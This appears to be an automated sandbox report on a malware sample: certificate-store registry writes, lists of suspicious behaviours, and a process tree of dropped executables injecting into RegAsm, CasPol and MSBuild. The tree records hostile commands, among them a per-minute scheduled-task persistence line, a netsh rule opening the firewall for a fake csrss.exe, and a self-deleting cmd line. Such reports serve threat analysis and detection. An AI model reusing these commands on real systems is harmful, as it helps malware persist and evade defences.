04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e iRXLxGDD3aFVJn22DPb2NtuN.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e iRXLxGDD3aFVJn22DPb2NtuN.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exechrosha.exeRegAsm.exerundll32.exerun.exejok.exekeks.exepowershell.exetrf.exeuas.0.execmd.exelie.exerun.exepowershell.execmd.exepowershell.exepowershell.exeSystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exepowershell.exepowershell.exepid process 3536 674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe 3536 674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe 2880 chrosha.exe 2880 chrosha.exe 2928 RegAsm.exe 2928 RegAsm.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2316 run.exe 2316 run.exe 2316 run.exe 868 jok.exe 868 jok.exe 5004 keks.exe 5004 keks.exe 5004 keks.exe 5004 keks.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2928 RegAsm.exe 2928 RegAsm.exe 432 powershell.exe 432 powershell.exe 4912 trf.exe 4912 trf.exe 432 powershell.exe 4396 uas.0.exe 4396 uas.0.exe 1300 cmd.exe 1300 cmd.exe 1300 cmd.exe 1300 cmd.exe 1488 lie.exe 1488 lie.exe 5276 run.exe 5276 run.exe 5276 run.exe 5368 powershell.exe 5368 powershell.exe 5368 powershell.exe 5780 cmd.exe 5780 cmd.exe 5780 cmd.exe 5780 cmd.exe 424 powershell.exe 424 powershell.exe 424 powershell.exe 6056 powershell.exe 6056 powershell.exe 6056 powershell.exe 3788 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3788 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3788 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3788 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 1328 powershell.exe 1328 powershell.exe 5136 powershell.exe 5136 powershell.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
run.exerun.execmd.execmd.exepid process 2316 run.exe 5276 run.exe 1300 cmd.exe 1300 cmd.exe 5780 cmd.exe 5780 cmd.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
trf.exefile300un.exeCasPol.exemstc.exejok.exepowershell.exepowershell.exepowershell.exeWMIC.exepowershell.exeMSBuild.exeSystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exepowershell.exepowershell.exepowershell.exepowershell.exekeks.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 4912 trf.exe Token: SeBackupPrivilege 4912 trf.exe Token: SeSecurityPrivilege 4912 trf.exe Token: SeSecurityPrivilege 4912 trf.exe Token: SeSecurityPrivilege 4912 trf.exe Token: SeSecurityPrivilege 4912 trf.exe Token: SeDebugPrivilege 4844 file300un.exe Token: SeDebugPrivilege 3528 CasPol.exe Token: SeDebugPrivilege 2908 mstc.exe Token: SeDebugPrivilege 868 jok.exe Token: SeDebugPrivilege 432 powershell.exe Token: SeDebugPrivilege 5368 powershell.exe Token: SeDebugPrivilege 424 powershell.exe Token: SeIncreaseQuotaPrivilege 4332 WMIC.exe Token: SeSecurityPrivilege 4332 WMIC.exe Token: SeTakeOwnershipPrivilege 4332 WMIC.exe Token: SeLoadDriverPrivilege 4332 WMIC.exe Token: SeSystemProfilePrivilege 4332 WMIC.exe Token: SeSystemtimePrivilege 4332 WMIC.exe Token: SeProfSingleProcessPrivilege 4332 WMIC.exe Token: SeIncBasePriorityPrivilege 4332 WMIC.exe Token: SeCreatePagefilePrivilege 4332 WMIC.exe Token: SeBackupPrivilege 4332 WMIC.exe Token: SeRestorePrivilege 4332 WMIC.exe Token: SeShutdownPrivilege 4332 WMIC.exe Token: SeDebugPrivilege 4332 WMIC.exe Token: SeSystemEnvironmentPrivilege 4332 WMIC.exe Token: SeRemoteShutdownPrivilege 4332 WMIC.exe Token: SeUndockPrivilege 4332 WMIC.exe Token: SeManageVolumePrivilege 4332 WMIC.exe Token: 33 4332 WMIC.exe Token: 34 4332 WMIC.exe Token: 35 4332 WMIC.exe Token: 36 4332 WMIC.exe Token: SeDebugPrivilege 6056 powershell.exe Token: SeIncreaseQuotaPrivilege 4332 WMIC.exe Token: SeSecurityPrivilege 4332 WMIC.exe Token: SeTakeOwnershipPrivilege 4332 WMIC.exe Token: SeLoadDriverPrivilege 4332 WMIC.exe Token: SeSystemProfilePrivilege 4332 WMIC.exe Token: SeSystemtimePrivilege 4332 WMIC.exe Token: SeProfSingleProcessPrivilege 4332 WMIC.exe Token: SeIncBasePriorityPrivilege 4332 WMIC.exe Token: SeCreatePagefilePrivilege 4332 WMIC.exe Token: SeBackupPrivilege 4332 WMIC.exe Token: SeRestorePrivilege 4332 WMIC.exe Token: SeShutdownPrivilege 4332 WMIC.exe Token: SeDebugPrivilege 4332 WMIC.exe Token: SeSystemEnvironmentPrivilege 4332 WMIC.exe Token: SeRemoteShutdownPrivilege 4332 WMIC.exe Token: SeUndockPrivilege 4332 WMIC.exe Token: SeManageVolumePrivilege 4332 WMIC.exe Token: 33 4332 WMIC.exe Token: 34 4332 WMIC.exe Token: 35 4332 WMIC.exe Token: 36 4332 WMIC.exe Token: SeDebugPrivilege 6092 MSBuild.exe Token: SeDebugPrivilege 3788 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Token: SeDebugPrivilege 1328 powershell.exe Token: SeDebugPrivilege 5136 powershell.exe Token: SeDebugPrivilege 3152 powershell.exe Token: SeDebugPrivilege 1756 powershell.exe Token: SeDebugPrivilege 5004 keks.exe Token: SeDebugPrivilege 1604 RegAsm.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
Processes:
u1wk.3.exepid process 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe -
Suspicious use of SendNotifyMessage 7 IoCs
Processes:
u1wk.3.exepid process 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe 2140 u1wk.3.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
run.exerun.exepid process 2316 run.exe 2316 run.exe 5276 run.exe 5276 run.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
chrosha.exeswiiiii.exealexxxxxxxx.exeRegAsm.exegold.exeNewB.exeswiiii.exedescription pid process target process PID 2880 wrote to memory of 4936 2880 chrosha.exe swiiiii.exe PID 2880 wrote to memory of 4936 2880 chrosha.exe swiiiii.exe PID 2880 wrote to memory of 4936 2880 chrosha.exe swiiiii.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 4936 wrote to memory of 3176 4936 swiiiii.exe RegAsm.exe PID 2880 wrote to memory of 4544 2880 chrosha.exe alexxxxxxxx.exe PID 2880 wrote to memory of 4544 2880 chrosha.exe alexxxxxxxx.exe PID 2880 wrote to memory of 4544 2880 chrosha.exe alexxxxxxxx.exe PID 4544 wrote to memory of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 4544 wrote to memory of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 4544 wrote to memory of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 4544 wrote to memory of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 4544 wrote to memory of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 4544 wrote to memory of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 4544 wrote to memory of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 4544 wrote to memory of 1604 4544 alexxxxxxxx.exe RegAsm.exe PID 1604 wrote to memory of 4912 1604 RegAsm.exe trf.exe PID 1604 wrote to memory of 4912 1604 RegAsm.exe trf.exe PID 1604 wrote to memory of 5004 1604 RegAsm.exe keks.exe PID 1604 wrote to memory of 5004 1604 RegAsm.exe keks.exe PID 1604 wrote to memory of 5004 1604 RegAsm.exe keks.exe PID 2880 wrote to memory of 2216 2880 chrosha.exe gold.exe PID 2880 wrote to memory of 2216 2880 chrosha.exe gold.exe PID 2880 wrote to memory of 2216 2880 chrosha.exe gold.exe PID 2216 wrote to memory of 4736 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 4736 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 4736 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2216 wrote to memory of 2652 2216 gold.exe RegAsm.exe PID 2880 wrote to memory of 2028 2880 chrosha.exe NewB.exe PID 2880 wrote to memory of 2028 2880 chrosha.exe NewB.exe PID 2880 wrote to memory of 2028 2880 chrosha.exe NewB.exe PID 2028 wrote to memory of 1400 2028 NewB.exe schtasks.exe PID 2028 wrote to memory of 1400 2028 NewB.exe schtasks.exe PID 2028 wrote to memory of 1400 2028 NewB.exe schtasks.exe PID 2028 wrote to memory of 2468 2028 NewB.exe ISetup8.exe PID 2028 wrote to memory of 2468 2028 NewB.exe ISetup8.exe PID 2028 wrote to memory of 2468 2028 NewB.exe ISetup8.exe PID 2880 wrote to memory of 868 2880 chrosha.exe jok.exe PID 2880 wrote to memory of 868 2880 chrosha.exe jok.exe PID 2880 wrote to memory of 868 2880 chrosha.exe jok.exe PID 2880 wrote to memory of 2424 2880 chrosha.exe iRXLxGDD3aFVJn22DPb2NtuN.exe PID 2880 wrote to memory of 2424 2880 chrosha.exe iRXLxGDD3aFVJn22DPb2NtuN.exe PID 2880 wrote to memory of 2424 2880 chrosha.exe iRXLxGDD3aFVJn22DPb2NtuN.exe PID 2424 wrote to memory of 2928 2424 swiiii.exe RegAsm.exe PID 2424 wrote to memory of 2928 2424 swiiii.exe RegAsm.exe PID 2424 wrote to memory of 2928 2424 swiiii.exe RegAsm.exe PID 2424 wrote to memory of 2928 2424 swiiii.exe RegAsm.exe PID 2424 wrote to memory of 2928 2424 swiiii.exe RegAsm.exe PID 2424 wrote to memory of 2928 2424 swiiii.exe RegAsm.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe"C:\Users\Admin\AppData\Local\Temp\674cee33e6ed25a7f9682fd53fa90221b35140939e1dc86177c7c2284ada4b05.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exeC:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 8683⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 3603⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 3643⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000228001\ISetup8.exe"C:\Users\Admin\AppData\Local\Temp\1000228001\ISetup8.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\u1wk.0.exe"C:\Users\Admin\AppData\Local\Temp\u1wk.0.exe"4⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 32805⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\u1wk.2\run.exe"C:\Users\Admin\AppData\Local\Temp\u1wk.2\run.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\u1wk.3.exe"C:\Users\Admin\AppData\Local\Temp\u1wk.3.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 14164⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000229001\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\1000229001\toolspub1.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2992 -s 3524⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000230001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000230001\4767d2e713f2021e8fe856e3ea638b58.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000230001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000230001\4767d2e713f2021e8fe856e3ea638b58.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000231001\lie.exe"C:\Users\Admin\AppData\Local\Temp\1000231001\lie.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\L3tHdSrcFlJd3MDe0CNF5QOs.exe"C:\Users\Admin\Pictures\L3tHdSrcFlJd3MDe0CNF5QOs.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\uas.0.exe"C:\Users\Admin\AppData\Local\Temp\uas.0.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 31646⤵
- Program crash
-
